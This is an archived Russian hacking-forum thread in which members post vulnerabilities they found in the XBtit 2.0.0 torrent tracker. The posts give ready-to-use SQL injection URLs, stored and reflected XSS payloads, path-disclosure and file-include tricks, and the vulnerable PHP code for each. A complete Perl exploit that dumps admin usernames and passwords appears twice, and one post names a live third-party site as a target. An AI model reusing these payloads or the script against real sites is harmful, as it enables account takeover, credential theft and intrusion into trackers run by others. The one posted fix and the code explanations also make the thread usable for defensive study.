PDA

Просмотр полной версии : Торрент трекер XBtit


Ctacok
13.08.2009, 08:22
Сёдня начал рыться в исходниках.
И так.
Было иследованно на:
Xbtit 2.0.0

Раскрытие путей.

http://target.com/index.php?page=signup&act=signup&returnto[]=

Уязвим GET параметр returnto.

PHPSESSIONID раскрытие путей.
В куках PHPSESSID=!@#$%^&*(


XSS

http://target.com//"><script>alert(document.cookie);</script> - Пассивная



Оло, через ошибку можно =\
/index.php?page=admin&user=123456+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--+&code=1234

/index.php?page=users&order=flag+or(1,1)=(select+count(0),concat((select +database()+from+information_schema.tables+limit+0 ,1),floor(rand(0)*2))from(information_schema.table s)group+by+2)--++&by=ASC


...
if (isset($_GET["order"]))
$order=htmlspecialchars($_GET["order"]);
else
$order="joined";
...
$query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";



/index.php?page=torrents&active=2&order=speed+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--++&by=ASC
Ещё нашёл :)


#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Hello HAXTA4OK, mailbrush (Thanks) #\n";
print "################################################## ############\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x 3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+fr om+xbtit_users+limit+1,1),floor(rand(0)*2))from(in formation_schema.tables)group+by+2)";
$doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}else{
print "\n My name is Fail, Epic Fail... \n"
}



Активная XSS:

index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel).

Меняем Avatar(Url) на:

jav ascript:alert();%00.gif

// Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab
Как бы надо хоть как javascript заменять на что-то подобное :)
Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png
Но если делать в <IMG src='javascript:alert();.gif'>
То код выполняться небудет, обычным нулл байтом прокатило :)

Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает :)


Надо что-бы торренты были открыты для публичного просмотра )

HAXTA4OK
13.08.2009, 09:14
Требуются права админа :(

SQL-inj

index.php?page=admin&user=2&code=8355071'&do=pruneu

SQL-inj
Наврал , :) права пользователя нужны

index.php?page=allshout&sid=1'&edit
index.php?page=allshout&sid=1'&delete

уязвимый код :
$sid = isset($_GET["sid"])?$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool


$sql = "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC";


пример :

http://lampmaster.dk/index.php?page=allshout&sid=1'&edit

решение проблемы:

$sid = isset($_GET["sid"])?(int)$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool


$sql = "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC";





index.php?page=allshout&sid=1+and+substring(version(),1,1)=5/*&edit


Раскрытие путей
если создан хоть один топик в форуме

index.php?page=forum&action=viewforum&forumid[]=

index.php?page=forum&action=viewtopic&topicid[]=

Qwazar
13.08.2009, 11:04
что то в реализации затух видать какие то фильтры там стоят Покажи уязвимый код.

HAXTA4OK
13.08.2009, 11:14
$sid = isset($_GET["sid"])?$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool


$sql = "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC";
$conn = his_getDBConnection(); # establishes the connection to the database
$results = mysql_query($sql, $conn);
что посмотрев его я задумался если тут уязвимость?хотя order by проходит , и в итоге дает мне 5 столбцов

Qwazar
13.08.2009, 11:17
Какой запрос пытаешься передать? Посмотри фильтруется ли выше $_GET["sid"], или вообще массив $_GET.

HAXTA4OK
13.08.2009, 11:27
про sid
if (isset($_GET["sid"])) {
$sid = intval($_GET["sid"]); # getting shout id (sid)
но там $sid = intval($_GET["sid"]); a He $_GET['sid'] = intval($_GET["sid"]);

нету :) не фильтрует

3anpoc index.php?page=allshout&sid=1+order+by+6/*&delete => index.php?page=allshout&sid=1+order+by+5/*&delete =>

index.php?page=allshout&sid=1+union+select+1,2,3,4,5/*&delete

мне тут уже он выдает ( у меня ошибку)а на одном сайте просто кидает на индекс.пхп :)

Ctacok
13.08.2009, 20:41
про sid
if (isset($_GET["sid"])) {
$sid = intval($_GET["sid"]); # getting shout id (sid)
но там $sid = intval($_GET["sid"]); a He $_GET['sid'] = intval($_GET["sid"]);

нету :) не фильтрует

3anpoc index.php?page=allshout&sid=1+order+by+6/*&delete => index.php?page=allshout&sid=1+order+by+5/*&delete =>

index.php?page=allshout&sid=1+union+select+1,2,3,4,5/*&delete

мне тут уже он выдает ( у меня ошибку)а на одном сайте просто кидает на индекс.пхп :)
intval()- Убирает все слова и т.п. из GET sid.
т.е. только цифры.
PS.
В асю напиши, у меня там кое где есть исчо одна бага.

HAXTA4OK
14.08.2009, 09:50
по сути инклуд)))
при register_glodals = on
index.php?page=recover&THIS_BASEPATH='




include("$THIS_BASEPATH/include/security_code.php");






Qwazar глянь плиз :) и можно ли его реализвоать?


index.php?page=admin&user=2&code=835507&do=logview&THIS_BASEPATH=1'




include("$THIS_BASEPATH/include/offset.php");




index.php?page=viewnews&THIS_BASEPATH='

mailbrush
16.08.2009, 20:00
Расскрытие путей: /ajaxchat/sendChatData.php

Уязвимый кусок кода:

if (!ini_get('register_globals')) {
extract($_POST, EXTR_SKIP);
}
$name = $n; # name from the form
$text = $c; # comment from the form
$uid = $u; # userid from the form


Если не найден $_GET $_POST $_COOKIE n или c или u, выскакивает Notice, мол, переменная не найдена.
Notice: Undefined variable: X in [PATH]

SQL-инъекция, причем очень хитромудрая :) После выполнения запроса смотрим в чат и видим юзера, бд, версию.
/ajaxchat/sendChatData.php?n=123\&c=,concat_ws(0x3a,user(),database(),version()),7)/*&u=2
Если не работает GET'ом, попробуйте POST'ом. Почему? Смотрите ниже, там где постинг от другого юзера.

Уязвимый кусок кода:
//смотрим предыдущий код, откуда берутся переменные
//бажный мегафильтр
$name = str_replace("\'","'",$name);
$name = str_replace("'","\'",$name);
$text = str_replace("\'","'",$text);
$text = str_replace("'","\'",$text);
$text = str_replace("---"," - - ",$text);

$name = str_replace("---"," - - ",$name);

//сама ф-ция записи в БД
function addData($name,$text,$uid) {
include("../include/settings.php"); # getting table prefix
$now = time();
$sql = "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";
$conn = getDBConnection();
$results = mysql_query($sql, $conn);
if (!$results || empty($results)) {
# echo 'There was an error creating the entry';
end;
}
}
Т.е. получается, что бажный фильтр экранирует кавычки в переменных $name, $text. Но это не проблема, т.к. слеш не экранируется. При запросе на сайт

/ajaxchat/sendChatData.php?n=NAME\&c=,concat_ws(0x3a,user(),database(),version()),2)/*&u=2
запрос в базу выглядит таким образом:
INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES

('1234567890','NAME\',',concat_ws(0x3a,user(),data base(),version()),2)/*','2')

Вроде, разукрасил, как мог... Но если еще непонятно, объясню - фильтр НЕ фильтрует бекслеш, т.е. \. Если в конец поля NAME, т.е. в GET/POST - "n"" вставить бекслеш, получится, что он экранирует кавычку и текст mysql-поля NAME будет считаться до тех пор, пока не будет найдена кавычка. Она найдена - открывающая кавычка поля TEXT. Другое поле должно быть отделено запятой от предыдущего, поэтому и запятая в GET/POST поле "c". После запятой идет содержимое поля text, мы подставляем то, что нам нужно, в конкретном случае concat_ws(0x3a,user(),database(),version()). Отделяем запятой следующее поле - uid - пишем любое число, в моем случае - 2. Ну и "/*", чтобы отсечь все лишнее. PS: Поле uid не фильруется, но т.к. оно типа mediumint(9), ничего полезного из него мы не достанем.

Blind SQL-инъекция. Необходимы права админа.
/index.php?page=admin&user=2&code=134469&do=category&action=edit&id=5 and substring(version(),1)=5

Уязвимый код:
case 'edit':
if (isset($_GET["id"]))
{
// we should get only 1 style, selected with radio ...
$id=max(0,$_GET["id"]);
...

Blind SQL-инъекция. Необходимы права админа.
/index.php?page=admin&user=2&code=134469&do=style&action=edit&id=1+and+substring(version(),1)=5

Уязвимый код:
case 'edit':
if (isset($_GET["id"]))
{
// we should get only 1 style, selected with radio ...
$id=max(0,$_GET["id"]);
$sres=get_result("SELECT style,style_url FROM {$TABLE_PREFIX}style WHERE id=$id",true);
...

Пассивная XSS:
/index.php?page=edit&info_hash=HASHID&returnto=index.php";alert(/hello+world/);<!--

Уязвимый код:
/include/functions.php
function redirect($redirecturl) {
// using javascript for redirecting
// some hosting has warning enabled and this is causing
// problem withs header() redirecting...

print("If your browser doesn't have javascript enabled, click <a href=\"$redirecturl\"> here </a>");
print("<script LANGUAGE=\"javascript\">window.location.href=\"$redirecturl\"</script>");

}
/edit.php
$link = urldecode($_GET["returnto"]);
...
redirect($link);

Постинг в чат от другого юзера: http://127.0.0.1/dev/ajaxchat/sendChatData.php?n=NAME&c=TEXT&u=UID
Уязвимый код:
function addData($name,$text,$uid) {
include("../include/settings.php"); # getting table prefix
$now = time();
$sql = "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";
$conn = getDBConnection();
$results = mysql_query($sql, $conn);
if (!$results || empty($results)) {
# echo 'There was an error creating the entry';
end;
}

Если register_globals = On - GET'ом открывать, в противном случае - POST'ом.

ЗЫ: Сам не ожидал, что столько найду, напишу, о_О.

HAXTA4OK
29.09.2009, 20:38
Cоздаeм нагрузку на сервер

При register_globals = On

/index.php?GLOBALS["charset"]=

Ctacok
20.10.2009, 13:03
PHP Include.
Внимание, уязвимость находиться в файл установки скрипта (:D).
function load_lang_file()
{
global $install_lang;

$GLOBALS["find_install_lang"] = array();

// Make sure the languages directory actually exists.
if (file_exists(dirname(__FILE__) . '/language/install_lang/'))
{
// Find all the "Install" language files in the directory.
$dir = dir(dirname(__FILE__) . '/language/install_lang/');
while ($entry = $dir->read())
{
if (substr($entry, 0, 8) == 'install.' && substr($entry, -4) == '.php')
$GLOBALS["find_install_lang"][$entry] = ucfirst(substr($entry, 8, strlen($entry) - 12));
}
$dir->close();
}

install.php?lang_file=[LFI]&action=save_mysql

Qwazar
20.10.2009, 13:11
PHP Include.
Внимание, уязвимость находиться в файл установки скрипта (:D).


install.php?lang_file=[LFI]&action=save_mysql После установки этот файл автоматически удаляется.

Ctacok
20.10.2009, 13:12
После установки этот файл автоматически удаляется.
Автоматически он не удаляется, просто там после установки красная надпись посредине трекер :)

Раскрытие путей.
/index.php?page=allshout&sid[]=1
Как бэ HAXTA4OK уже постил в данном месте уязвимость.
Но там скуля, и раскрытие путей.

Qwazar
20.10.2009, 13:18
Автоматически он не удаляется, просто там после установки красная надпись посредине трекер :) Хм, у меня удалился. (v 2.0.0 r521)

Ctacok
20.10.2009, 13:21
Хм, у меня удалился. (v 2.0.0 r521)
Скорее всего ты автоматом удалил т.е. по привычке :)
(м 2.0.0 r523)
http://i016.radikal.ru/0910/84/3f54b20b9854.jpg

Ctacok
20.10.2009, 13:43
Раскрытие путей:

index.php?page=users&searchtext[]=

$search=htmlspecialchars($_GET["searchtext"]);

index.php?page=edit&info_hash=929f507f7091ecc71a0e1d47fa1805cfb4339db7 '&returnto=index.php%3Fpage%3Dtorrents

Ппц..

Ctacok
13.03.2010, 21:14
Оло, через ошибку можно =\
/index.php?page=admin&user=123456+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--+&code=1234
Права админа нужны, ща ещё пойду смотреть ...

//2 RulleR, ищу :) Она там есть вообще по идеи, но блинд.

НАшоооол!111

/index.php?page=users&order=flag+or(1,1)=(select+count(0),concat((select +database()+from+information_schema.tables+limit+0 ,1),floor(rand(0)*2))from(information_schema.table s)group+by+2)--++&by=ASC


...
if (isset($_GET["order"]))
$order=htmlspecialchars($_GET["order"]);
else
$order="joined";
...
$query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";

Ctacok
28.03.2010, 10:17
Up.
/index.php?page=torrents&active=2&order=speed+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--++&by=ASC
Ещё нашёл :)


#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Hello HAXTA4OK, mailbrush (Thanks) #\n";
print "################################################## ############\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x 3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+fr om+xbtit_users+limit+1,1),floor(rand(0)*2))from(in formation_schema.tables)group+by+2)";
$doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}else{
print "\n My name is Fail, Epic Fail... \n"
}




Надо что-бы торренты были открыты для публичного просмотра )

Ctacok
01.05.2010, 16:30
Активная XSS:

index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel).

Меняем Avatar(Url) на:

jav ascript:alert();%00.gif

// Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab
Как бы надо хоть как javascript заменять на что-то подобное :)
Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png
Но если делать в <IMG src='javascript:alert();.gif'>
То код выполняться небудет, обычным нулл байтом прокатило :)

Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает :)
// Ulalala :)